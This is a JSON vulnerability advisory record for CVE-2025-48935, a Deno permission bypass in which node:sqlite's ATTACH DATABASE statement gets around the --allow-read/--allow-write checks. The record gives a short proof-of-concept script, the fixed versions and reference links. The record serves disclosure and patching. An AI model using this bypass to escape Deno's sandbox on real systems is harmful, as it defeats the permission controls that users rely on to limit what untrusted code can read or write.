{"id":"CVE-2025-48935","aliases":["GHSA-8vxj-4cph-c596","RUSTSEC-2025-0138"],"url":"https://o3.security/vulnerability/CVE-2025-48935","summary":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","details":"## Summary\n\nIt is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```","published":"2025-06-04T19:31:26.840Z","modified":"2026-08-12T03:51:12.955120978Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"deno","fixedVersion":"2.2.5"},{"ecosystem":"crates.io","name":"deno_node","fixedVersion":"0.134.0"}],"fix":{"url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860","label":"denoland/deno@31a9780"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/48xxx/CVE-2025-48935.json"},{"type":"ADVISORY","url":"https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48935"},{"type":"FIX","url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2025-0138.html"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.955120978Z"}}